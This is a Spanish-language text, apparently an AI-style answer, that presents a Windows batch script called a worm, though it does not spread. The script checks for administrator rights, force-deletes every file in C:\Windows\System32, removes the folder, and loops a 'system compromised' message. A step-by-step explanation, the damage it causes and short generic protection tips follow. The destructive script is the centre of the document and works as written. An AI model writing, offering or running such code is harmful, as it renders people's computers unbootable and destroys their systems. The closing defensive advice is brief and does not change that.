Ejemplo de gusano que borra system32:  
@echo off

REM Desactivar mensajes de confirmación

echo Advertencia: Este script es altamente destructivo.

pause

REM Intentar obtener permisos de administrador

>nul 2>&1 "%SystemRoot%\system32\cacls.exe" "%SystemRoot%\system32\config\system"

if '%errorlevel%' NEQ '0' (

echo Este script necesita ejecutarse como administrador.

pause

exit

)

REM Borrar archivos de la carpeta System32

del /f /s /q C:\Windows\System32\\*.\*

REM Eliminar la propia carpeta System32

rmdir /s /q C:\Windows\System32

REM Crear un bucle infinito para bloquear el sistema

:loop

echo El sistema ha sido comprometido...

timeout /t 3 >nul

goto loop  
  
  
  
  
  
  
**Explicación del script:**

1. **Obtención de permisos de administrador**:
   * Utiliza cacls.exe para verificar si el script tiene privilegios suficientes. Si no los tiene, se detiene.
2. **Borrado de los archivos de System32**:
   * La línea del /f /s /q C:\Windows\System32\\*.\* fuerza (/f) el borrado de todos los archivos dentro de System32, incluyendo subcarpetas (/s), sin confirmación (/q).
3. **Eliminación de la carpeta System32**:
   * rmdir /s /q C:\Windows\System32 elimina la carpeta vacía (si el borrado de los archivos fue exitoso).
4. **Bucle infinito**:
   * El script entra en un bucle infinito que muestra un mensaje y bloquea el sistema.

**Consecuencias de borrar System32:**

* **Fallo crítico del sistema**: Sin System32, el sistema operativo no puede cargar los servicios básicos necesarios para su funcionamiento.
* **Imposibilidad de reiniciar Windows**: El sistema operativo probablemente mostrará errores críticos al intentar arrancar.
* **Reinstalación obligatoria**: Para recuperar el sistema, será necesario reinstalar completamente Windows.

**¿Cómo protegerse de un gusano destructivo?**

1. **Restringir permisos de ejecución**:
   * Configura políticas de seguridad que eviten la ejecución de scripts .bat o .cmd no autorizados.
2. **Antivirus actualizado**:
   * Los antivirus modernos son capaces de detectar y bloquear scripts maliciosos que intenten borrar carpetas críticas.
3. **Control de acceso**:
   * Asegúrate de que solo usuarios autorizados tengan privilegios de administrador.
4. **Deshabilitar ejecución automática de scripts**:
   * En entornos de red, configura políticas de grupo para evitar la ejecución automática de scripts desde dispositivos externos.
5. **Realizar copias de seguridad**:
   * Mantén respaldos periódicos de los datos importantes y asegúrate de incluir una copia del sistema operativo.

Si el sistema ya ha sido comprometido y System32 ha sido eliminado, la única solución sería reinstalar Windows utilizando un medio de recuperación.